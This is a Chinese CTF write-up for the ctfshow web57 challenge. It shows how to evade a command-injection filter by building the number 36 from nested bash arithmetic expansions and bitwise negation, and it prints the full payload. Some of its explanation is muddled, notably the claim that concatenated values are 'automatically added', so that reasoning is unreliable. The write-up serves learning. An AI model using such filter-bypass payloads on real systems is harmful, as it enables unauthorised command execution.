首页 > 其他分享 >ctf show-web57

ctf show-web57

时间:2024-11-19 13:18:17浏览次数:3  
标签:运算 结果 web57 取反 36 ctf 按位 show 表达式

这题相较于55过滤了更多的东西,但是flag在36.php中,并且不需要php,所以我们需要在绕过过滤的同时,构造一个36,这里就要知道linux下的运算 $(())算术扩展 , 允许你对数值进行加法、减法、乘法、除法等算术运算,并输出结果。

$((~$((“”))))
表达式解析:

$((~$(("")))) 可以分为几个部分:

  1. $(()):这是 算术扩展(Arithmetic Expansion)。它允许你在其中执行整数计算并返回结果。

  2. ~:这是按位取反(bitwise NOT)操作符。它对数字的每一位进行反转:0变1,1变0。

  3. 外层 $(()):这用于执行整个表达式的算术运算。

具体解释:
  1. $((""))

    • $(("")) 是算术扩展,但其中没有具体的数值,因此它会返回一个结果 0

    示例:

    bash复制代码$(( ))  # 如果没有给定数字,它会默认返回 0
  2. ~$((""))

    • 由于 $(("")) 结果是 0,对 0 进行按位取反操作。

    • 0 的二进制表示是 00000000(假设是 8 位)。按位取反之后,变成 11111111,即 -1(因为在二进制中,按位取反会产生负数)。

  3. 外层的 $((~$((""))))

    • 最终,整个表达式变成了

      -1

      ,即:

      bash复制代码$(( -1 ))  # 结果就是 -1
$(($((~$(())))$((~$(())))))
1. 最内层的 $(() )
  • $(())算术扩展,它用来执行数字计算。没有给出具体的计算式时,$(() ) 会返回 0

  • 因此,$(() ) 的结果是 0

2. ~$(() )
  • ~按位取反 操作符。它作用于数字时会将数字的每一位反转。对于数字 0,按位取反后的结果是 -1

  • 所以,~$(() ) 实际上是 ~0,结果为 -1

3. 第二层嵌套的 $((~$(())))
  • 这也是对 0 进行取反,得到 -1,所以结果是 -1

4. 外层的 $(())
  • $(($((~$(())))$((~$(()))))) 中的 $(()) 内部包含了两个按位取反的操作结果。因为每个 $(()) 表达式中都是 -1,所以最终的计算会是 -1-1 进行运算。

5. 两个 -1 相加
  • $(($((~$(())))$((~$(()))))) 可以简化为 $( (-1 - 1) ),即对 -1-1 进行相加。

  • 结果是 -2

总结:

整个表达式 $(($((~$(())))$((~$(()))))) 最终的结果是 -2,因为内部的每个嵌套都经过按位取反,最终导致运算结果为 -2

举个例子:

如果我们简化这个表达式为:

bash复制代码$(($((~$(())))$((~$(())))))  # 相当于 $( (-1 - 1) )

那么:

  • 内部每一层的 ~$(() ) 都得到 -1,最终运算为 -1 - 1,结果为 -2

自动相加

如果没有显式的运算符(如 +, -, *, / 等),Bash 会默认将两个数字连接在一起,并进行加法操作。

因此,$((~$(())))$((~$(()))) 就相当于把 -1-1 连接起来,并进行加法运算。更准确地说,Bash 会自动执行:

$(( -1 + -1 ))  # 自动相加

看完上面的,说明我们需要构造一个数字取反的到36,-37取反可以得到36,所以我们需要37个这样的式子拼接最后取反得到36

$((~$(($((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${}))))$((~$((${_}))))))))

标签:运算,结果,web57,取反,36,ctf,按位,show,表达式
From: https://blog.csdn.net/2401_84499636/article/details/143882078

相关文章

  • ctfshow web-75
     由于本题过滤了strlen,没办法使用web72的uaf的方式绕过命令执行的限制连接数据库查询,通过构造一个可以连接数据库的php脚本,来查询数据库内的数据try{  //使用PDO(PHPDataObjects)创建一个新的数据库连接对象,指定DSN、用户名(root)和密码(root)  $dbh=newPDO('my......
  • [ctf]bugku逆向笔记
    学如逆水行舟逆向1、idapro要会使用。2、exeinfo Easy_Re使用IdaPro动态调试,观察esp可以在旁边的IDA-viewESP中看到 选中后,可以快速的导出为list然后使用cyberchef或者python都可以快速处理。 ......
  • [RoarCTF 2019]Easy Java
    打开链接映入眼帘的是一个登录窗口用admin'查看一下有没有注入漏洞,回显一直是wrongpassword这个界面到别处找找看有没有线索,我们点击help按钮看看发现有一个help.docx文件未找到报错,这里是get传参,我们试试post的传参,感觉也是比较神经下载到了一个help.docx文件,我们看看是......
  • CTFSHOW认真写写☝( ◠‿◠ )☝
    苦命的ctfer//每天都要刷题Ỏ̷͖͈̞̩͎̻̫̫̜͉̠̫͕̭̭̫̫̹̗̹͈̼̠̖͍͚̥͈̮̼͕̠̤̯̻̥̬̗̼̳̤̳̬̪̹͚̞̼̠͕̼̠̦͚̫͔̯̹͉͉̘͎͕̼̣̝͙̱̟̹̩̟̳̦̭͉̮̖̭̣̣̞̙̗̜̺̭̻̥͚͙̝̦̲̱͉͖͉̰̦͎̫̣̼͎͍̠̮͓̹̹͉̤......
  • [BUUCTF] 萌新pwn
    做下第一页test_your_nc直接是/bin/sh,nc上去就行rip先简单review一下函数调用栈的变化。首先记住栈是高地址向低地址增长,简单讲就是栈底在高地址,栈顶在低地址。esp保存栈顶,ebp保存栈底。32位为例,首先反向压入callee的参数:argn,....arg2,arg2,然后压入retaddr,这......
  • [HCTF 2018]Warmup 详细题解
    知识点:目录穿越_文件包含static静态方法参数传递引用mb_strpos函数    mb_substr函数正文:页面有一张滑稽的表情包,查看一下页面源代码,发现提示那就访问/source.php 得到源码<?phphighlight_file(__FILE__);classemmm{publics......
  • CTF吧-渗透测试靶场-综合漏洞靶场
    这关为php反序列化抓包,修改download_file=1.jpg为download_file=upload.php去查看uploda.php的源代码<?phpheader('Content-type:text/html;charset=utf-8');if(isset($_POST['download_file'])){$file=$_POST['download_file'];if(preg_......
  • [BUUCTF 2018]Online Tool
    题目链接:[BUUCTF2018]OnlineTool。打开环境,如下所示。直接得到源码,如下。<?phpif(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){$_SERVER['REMOTE_ADDR']=$_SERVER['HTTP_X_FORWARDED_FOR'];}if(!isset($_GET['host'])){highl......
  • [BJDCTF2020]ZJCTF,不过如此
    题目链接:[BJDCTF2020]ZJCTF,不过如此。打开环境,如下所示。一个简单的伪协议,直接使用Data伪协议即可通过检测,随后使用文件包含来查看next.php文件源码。Payload:?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource......
  • wpctf
    ZLCTFWPRobot_36题目中提示:name,搜索Robot36,发现是一种慢扫描电视的一种。所以模式即选择robot36。使用这个软件http://www.2265.com/soft/524990.html一部手机播放题目中给的mav文件,一部手机打开robot36软件,对着放得到flag若只有电脑:用RX-SSTV软件解出一张含有flag的二维码,模式是R......